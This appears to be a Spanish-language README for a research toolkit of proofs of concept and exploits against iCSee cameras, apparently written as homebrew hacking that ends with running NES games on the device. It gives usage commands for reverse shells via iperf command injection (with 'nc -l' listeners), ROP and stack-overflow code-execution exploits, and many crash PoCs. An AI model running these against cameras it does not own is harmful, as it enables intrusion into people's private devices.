
Este es un conjunto de herramientas/PoCs/exploits para cámaras que usan la aplicación iCSee. Y sí, ¡puede ejecutar juegos de NES!
Este es un conjunto de herramientas/PoCs/exploits que se pueden utilizar en cámaras de videollamada iCSee a través de LAN (y quizás también en cámaras que no son de videollamada). Esto podría usarse fácilmente para flashear firmwares alternativos como reemplazo del método de actualización por tarjeta SD.
Nota: Cualquier exploit de corrupción de memoria solo funcionará si la versión de firmware de tu cámara es V5.00.R02.000949U5.10000.141324.0000010 o V5.00.R02.000807E5.10000.346724.0000010 - estos exploits dependen de offsets fijos, que cambian cada vez que se compila el firmware.
[0] Enumeración, Desmontaje y Extracción de Firmware
[1] Aprendiendo el Lenguaje de las Cámaras
[2] Encontrando Desbordamientos de Enteros Inútiles + Algunos Bugs Útiles
[3] Muerte por Desbordamientos de Pila + Diversión con Canary
[5] Cámara Diferente, Misma App
[6] Vindicación + Exploit Completo de Corrupción de Memoria en la Segunda Cámara
[7] Emulando Juegos de NES en la Cámara
pycryptodome : Para criptografía de inicio de sesión RSApwntools : Para shellcodepyftpdlib : Para servidor FTPpynput : Para entrada de teclado NESget_system_infoEsto utiliza el método get_system_info para obtener información de la cámara a través del puerto 34567.
python3 icseeu.py get_system_info
{
"Name": "SystemInfo",
"Ret": 100,
"SessionID": "0x0001869f",
"SystemInfo": {
"AlarmInChannel": 0,
"AlarmOutChannel": 0,
"AudioInChannel": 1,
"BuildTime": "2024-06-27 10:33:41",
"CombineSwitch": 0,
"DeviceModel": "IPC_GK7201V300_G2-WR-V_S38",
"DeviceRunTime": "0x000026c6",
"DeviceType": 7,
"DigChannel": 0,
"EncryptVersion": "Unknown",
"ExtraChannel": 0,
"HardWare": "IPC_GK7201V300_G2-WR-V_S38",
"HardWareVersion": "Unknown",
"Pid": "A909409U5000000N",
"SerialNo": "bf7816d59506ec06",
"SoftWareVersion": "V5.00.R02.000949U5.10000.141324.0000010",
"TalkInChannel": 1,
"TalkOutChannel": 1,
"UpdataTime": "",
"UpdataType": "0x00000000",
"VideoInChannel": 1,
"VideoOutChannel": 1
}
}
ftp_get_logsUtiliza una funcionalidad de texto residual para extraer registros del dispositivo (los registros terminan en FTPTestDir/Test).
python3 icseeu.py ftp_get_logs
gdb_revshellExplota una vulnerabilidad de escritura de archivos en la tarjeta SD, y la vulnerabilidad de ejecución binaria iperf que permite la ejecución remota de un binario presente en la tarjeta SD, para obtener una shell inversa e iniciar un depurador GDB que se adjunta al proceso principal App.
Terminal 1:
nc -l 1234
Terminal 2:
python3 icseeu.py gdb_revshell
Terminal 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
Nota: No detengas el programa por más de 30 segundos o el watchdog se quejará y el proceso App se reiniciará!
Nota 2: Es posible que necesites modificar las direcciones IP hardcodeadas en el payload (GDB_Revshell/remote_mgmt.c) para que sean la IP de tu máquina en la LAN y reconstruir el payload.
gdb_revshell_injectExplota una vulnerabilidad de escritura de archivos en la tarjeta SD, y la vulnerabilidad de inyección de comandos iperf que permite la ejecución remota de un binario presente en la tarjeta SD, para obtener una shell inversa e iniciar un depurador GDB que se adjunta al proceso principal App.
Esto es útil para dispositivos que ya tienen un binario iperf presente, lo que impide el otro método.
Terminal 1:
nc -l 1234
Terminal 2:
python3 icseeu.py gdb_revshell_inject
Terminal 3:
gdb-multiarch
gef-remote 192.168.188.2 8888
Nota: No detengas el programa por más de 30 segundos o el watchdog se quejará y el proceso App se reiniciará!
Nota 2: Es posible que necesites modificar las direcciones IP hardcodeadas en el payload (GDB_Revshell/remote_mgmt.c) para que sean la IP de tu máquina en la LAN y reconstruir el payload.
iperf_inject_exploitExplota la inyección de comandos iperf para establecer una shell inversa.
Terminal 1:
nc -l 1234
Terminal 2:
python3 icseeu.py iperf_inject_exploit
Nota: Es posible que necesites modificar las direcciones IP hardcodeadas en el payload (Revshell_Inject/remote_mgmt.c) para que sean la IP de tu máquina en la LAN y reconstruir el payload.
Estos son exploits para el segundo desbordamiento de pila en el manejador del tipo de mensaje 0x7d8. Este desbordamiento es interesante porque nos permite eludir el canary de pila y obtener ejecución.
Necesitarás construir el payload del despachador antes de que estos funcionen (ejecuta make en el directorio PayloadDispatcher), y el payload que quieras ejecutar en la cámara ejecutando make en los directorios respectivos (por ejemplo, ImageDisplay).
Notas:
screenflashDemuestra que tenemos ejecución de código al hacer parpadear la pantalla.
python3 icseeu.py exploit_goke screenflash
rgbDemuestra que tenemos control de la pantalla al hacer parpadear colores RGB.
python3 icseeu.py exploit_goke rgb
imagedisplayUtiliza la escritura de archivos para cargar una imagen RGB 5:6:5 cruda, ejecuta ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565 -f rawvideo image.raw en una imagen en el directorio para obtener un archivo image.raw en el directorio ImageDisplay para que esto funcione. La imagen se mostrará en la pantalla.
python3 icseeu.py exploit_goke imagedisplay
buttontestDemuestra que podemos leer el estado de los botones, parpadea un color cuando se detecta que uno de los botones ha sido presionado.
python3 icseeu.py exploit_goke buttontest
pongUna implementación mínima del juego Pong que demuestra que tenemos control de la pantalla y los botones frontales, también demuestra un payload ligeramente más complejo.
python3 icseeu.py exploit_goke pong
nesUn emulador de NES portado que puede ejecutar el rom.nes colocado en el directorio GOKE_Payloads/nes, ejecuta make en GOKE_Payloads/nes/smolnes y GOKE_Payload/nes para generar binarios.
python3 icseeu.py exploit_goke nes
Este es un exploit para un desbordamiento de pila en otra cámara sin canaries de pila, pero con NX. Escribí una cadena ROP para pivotar la pila y obtener ejecución de una cadena ROP grande; esta cadena ROP mapea memoria ejecutable, carga el contenido de un archivo en la memoria, crea un hilo que lo ejecuta, luego arregla el estado de la pila y continúa la ejecución.
Necesitarás construir el payload antes de que estos funcionen, ejecuta make en los directorios respectivos (por ejemplo, ImageDisplay).
Notas:
screenflashDemuestra que tenemos ejecución de código al hacer parpadear la pantalla.
python3 icseeu.py exploit_xm530 screenflash
rgbDemuestra que tenemos control de la pantalla al hacer parpadear colores RGB.
python3 icseeu.py exploit_xm530 rgb
imagedisplayUtiliza la escritura de archivos para cargar una imagen RGB 5:6:5 cruda, ejecuta ffmpeg -i image.jpg -vf scale=240:320 -c:v rawvideo -pix_fmt rgb565be -f rawvideo image.raw en una imagen en el directorio para obtener un archivo image.raw en el directorio ImageDisplay para que esto funcione. La imagen se mostrará en la pantalla.
python3 icseeu.py exploit_xm530 imagedisplay
Más detalles de estas pruebas de concepto (y sus causas subyacentes) están en los blogs al principio de este readme.
integer_underflow_httpEsta PoC causa un bloqueo debido a un subdesbordamiento de enteros en el servidor HTTP.
python3 icseeu.py integer_underflow_http
iperf_runEsta PoC ejecutará el archivo almacenado en la tarjeta SD bajo iperf/iperf (ya sea script ash o binario).
python3 icseeu.py iperf_run
iperf_injectEsta PoC ejecutará el comando reboot a través de una inyección de comandos; el archivo iperf/iperf debe existir en la tarjeta SD para que funcione.
python3 icseeu.py iperf_inject
assert_trigger_0x41aEsta PoC activa una aserción debido a una gran asignación en el manejador de tipo de mensaje 0x41a (causando un bloqueo).
python3 icseeu.py assert_trigger_0x41a
integer_overflow_0x41aEsta PoC provoca un bloqueo debido a un desbordamiento de enteros que causa una extraña lectura fuera de límites en el manejador de mensajes 0x41a.
python3 icseeu.py integer_overflow_0x41a
stack_overflow_0x43aEsta PoC provoca un bloqueo debido a un desbordamiento de pila en el manejador de mensajes para el tipo 0x43a.
python3 icseeu.py stack_overflow_0x43a
stack_overflow_0x438_1Esta PoC provoca un bloqueo debido al primer desbordamiento de pila en el manejador de mensajes para el tipo 0x438.
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x438_2Esta PoC provoca un bloqueo debido al segundo desbordamiento de pila en el manejador de mensajes para el tipo 0x438.
python3 icseeu.py stack_overflow_0x438_2
stack_overflow_0xdacEsta PoC provoca un bloqueo debido a un desbordamiento de pila en el manejador de mensajes para el tipo 0xdac.
python3 icseeu.py stack_overflow_0xdac
stack_overflow_0x5a4Esta PoC provoca un bloqueo debido a un desbordamiento de pila en el manejador de mensajes para el tipo 0x5a4.
python3 icseeu.py stack_overflow_0x5a4
stack_overflow_0x414Esta PoC provoca un bloqueo debido a un desbordamiento de pila en el manejador de mensajes para el tipo 0x414.
python3 icseeu.py stack_overflow_0x414
stack_overflow_0x410_1Esta PoC provoca un bloqueo debido al primer desbordamiento de pila en el manejador de mensajes para el tipo 0x410.
python3 icseeu.py stack_overflow_0x438_1
stack_overflow_0x410_2Esta PoC provoca un bloqueo debido al segundo desbordamiento de pila en el manejador de mensajes para el tipo 0x410.
python3 icseeu.py stack_overflow_0x410_2
stack_overflow_0x5a8Esta PoC provoca un bloqueo debido a un desbordamiento de pila en el manejador de mensajes para el tipo 0x5a8.
python3 icseeu.py stack_overflow_0x5a8
stack_overflow_0x41eEsta PoC provoca un bloqueo debido a un desbordamiento de pila en el manejador de mensajes para el tipo 0x41e.
python3 icseeu.py stack_overflow_0x41e
stack_overflow_0x7d8_1Esta PoC provoca un bloqueo debido al primer desbordamiento de pila en el manejador de mensajes para el tipo 0x7d8.
python3 icseeu.py stack_overflow_0x7d8_1
stack_overflow_0x7d8_2Esta PoC provoca un bloqueo debido al segundo desbordamiento de pila en el manejador de mensajes para el tipo 0x7d8.
python3 icseeu.py stack_overflow_0x7d8_2
stack_overflow_0x8a6Esta PoC provoca un bloqueo debido a un desbordamiento de pila en el manejador de mensajes para el tipo 0x8a6 (no presente en todas las cámaras).
python3 icseeu.py stack_overflow_0x8a6